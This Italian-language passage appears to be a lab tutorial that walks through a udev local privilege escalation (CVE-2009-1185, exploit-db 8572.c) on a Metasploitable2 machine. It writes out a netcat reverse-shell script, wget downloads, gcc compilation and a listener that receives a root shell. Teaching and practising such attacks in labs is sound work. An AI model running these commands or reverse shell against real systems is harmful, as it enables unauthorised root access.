ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation                                                                   | linux/local/12130.py
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation                                                                                  | linux/local/23674.txt

Poiché stiamo cercando un exploit di privilage escalation, cerchiamo privilege, quindi utilizziamo grep per convogliare la nostra ricerca in risultati più ristretti ignorando maiuscole e minuscole con il flag -i. Per questo esempio, utilizzeremo l’exploit 8572.c, che sfrutta un difetto nel gestore dispositivi UDEV, consentendo l’esecuzione del codice tramite un messaggio Netlink non verificato. Basta copiare la posizione dell’exploit e utilizzare il comando locate per trovare il percorso completo, che è /usr/share/exploitdb/exploits/linux/local/8572.c:

┌──(k0bra3390㉿kali)-[~]
└─$ locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c

Questo exploit è scritto in C (da cui l’estensione .c), ma non dovremo preoccuparci del codice sorgente: verrà eseguito solo dopo averlo compilato, ma non fa male prendere l’abitudine di leggere codice per vedere esattamente cosa fa. Ora possiamo estrarre quel file per visualizzare le informazioni su questo exploit oltre a eventuali note per gli sviluppatori:

* cve-2009-1185.c
*
* udev < 1141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
*   udev before 1.4.1 does not verify whether a NETLINK message originates
*   from kernel space, which allows local users to gain privileges by sending
*   a NETLINK message from user space.
*
* Notes:
*
*   An alternative version of kcope's exploit.  This exploit leverages the
*   95-udev-late.rules functionality that is meant to run arbitrary commands
*   when a device is removed.  A bit cleaner and reliable as long as you
*   distro ships that rule file.
*
*   Tested on Gentoo, Intrepid, and Jaunty.
*
* Usage:
*
*   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*   usually is the udevd PID minus 1) as argv[1].
*
*   The exploit will execute /tmp/run as root so throw whatever payload you
*   want in there.

Per utilizzare questo exploit, deve trovarsi sulla macchina di destinazione. Il modo più semplice per farlo è ospitare il file su un server Apache locale sulla nostra macchina Kali, connettersi al server dalla macchina di destinazione e infine scaricare il file. Prima di farlo, tuttavia, è necessario compiere alcuni passaggi preparatori.

Innanzitutto, dobbiamo assicurarci che il server sia attivo e funzionante su Kali, quindi eseguiamo service apache2 restart nel terminale. Successivamente, possiamo creare un collegamento simbolico tra la directory in cui si trova l’exploit e la directory che serve i file sul server; Questo renderà l’exploit disponibile per il download. Per fare ciò, eseguiamo il seguente comando:

sudo ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

Questo exploit verrà eseguito dalla directory /tmp in Metasploitable2, quindi prima dobbiamo creare il file che verrà eseguito. Su Kali ancora, digitiamo nano /var/www/html/run e inserisci queste righe nel file:

#!/bin/bash
nc 192.168.1.176 4321 -e /bin/bash

Quando questo file viene eseguito, utilizzerà Netcat per connettersi all’indirizzo IP di Kali sulla porta 4321 e generare una shell. Premiamo Ctrl-X, Y e Enter per salvare.

Ora siamo pronti per caricare i file su Metasploitable2. Tornando alla nostra shell di basso livello, spostiamoci nella directory /tmp e utilizza l’utilità wget per connetterci al server in esecuzione su Kali e trasferire i file su Metasploitable2:

cd /tmp
wget http://192.168.1.176/run
--15:18:31--  http://192.168.1.176/run
           => 'run'
Connecting to 192.168.1.176:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46

    OK                                                  100%  978.43 KB/s

15:18:31 (978.43 KB/s) - 'run' saved [46/46]

wget http://192.168.1.176/local/8752.c
--15:19:24--  http://192.168.1.176/8572.c
           => '8572.c'
Connecting to 192.168.1.176:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-csrc]

    OK                                                  100%  100.46 MB/s

15:19:24 (100.46 MB/s) - '8572.c' saved [2876/2876]

Ora che i file necessari per eseguire questo exploit sono stati trasferiti con successo al nostro obiettivo, siamo quasi pronti per l’esecuzione. Poiché il file exploit è codificato in C, dobbiamo compilarlo in un eseguibile. Non entreremo nel dettaglio dei linguaggi compilati qui ma, fondamentalmente, c’è del codice sorgente che deve essere compilato per essere eseguito. Possiamo farlo su sistemi Linux usando GCC (GNU Compiler Collection).

Eseguiamo il comando seguente per compilare il file exploit 8572.c in un eseguibile, utilizzando il flag -o per specificare il nome del file di output:

gcc -o exploit 8572.c

Se si lamenta di non trovare ld (il linker dinamico), possiamo usare il flag -B per specificare dove dovrebbe trovarsi ld, in questo caso, sotto /usr/bin, in questo modo:

gcc -B /usr/bin -o exploit 8572.c

Finalmente possiamo usare ls per verificare che il nostro file eseguibile sia stato compilato correttamente:

gcc -o exploit 8572.c
collect2: cannont find 'ld'

gcc -B /usr/bin -o exploit 8572.c

ls
4674.jsvc_up
8572.c
exploit
jVswA
mhbkk
run

Nella documentazione del file 8572.c, si dice che dobbiamo trovare il PID (identificatore di processo) del socket Netlink, che di solito è il PID del processo UDEVD meno uno. Possiamo farlo eseguendo cat /proc/net/netlink e l’unico PID diverso da zero dovrebbe essere il numero che vogliamo. Verifica che sia corretto eseguendo ps aux | grep udev — dovrebbe essere un numero più alto.

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
de313800 0   0      00000000 0        0        00000000 2
dd15ca00 4   0      00000000 0        0        00000000 2
dd657000 7   0      00000000 0        0        00000000 2
de1afc00 9   0      00000000 0        0        00000000 2
ddc0dc00 10  0      00000000 0        0        00000000 2
de313c00 15  0      00000000 0        0        00000000 2
ddc7ac00 15  2352   00000001 0        0        00000000 2
de38f800 16  0      00000000 0        0        00000000 2
dd75a000 18  0      00000000 0        0        00000000 2

Successivamente, dobbiamo impostare un listener sulla nostra macchina Kali in modo che quando viene eseguito lo script “run”, siamo in grado di catturare la shell. Su Kali, digita nc -lvp 4321 per ascoltare le connessioni in entrata.

Ora che il nostro listener è aperto, possiamo finalmente sfruttare il bersaglio. Ricordiamoci di passare come argomento il PID di Netlink, in questo caso 2352, ma potrebbe essere sempre diverso. Eseguiamo il seguente comando nella shell di basso livello:

./exploit 2352

Dopo alcuni istanti, una connessione dovrebbe riaprirsi sul nostro listener Netcat e possiamo eseguire comandi come id e whoami per visualizzare le informazioni dell’utente. Possiamo vedere che abbiamo ottenuto l’accesso a livello di root e da qui possiamo praticamente fare tutto ciò che vogliamo sul sistema:

┌──(k0bra3390㉿kali)-[~]
└─$ nc -lvp 4321
listening on [any] 4321 ...
192.168.1.245: inverse host lookup failed: Unknown host
connect to [192.168.1.176] from (UNKNOWN) [192.168.1.245] 35612
id
uid=0(root) gid=0(root)
whoami
root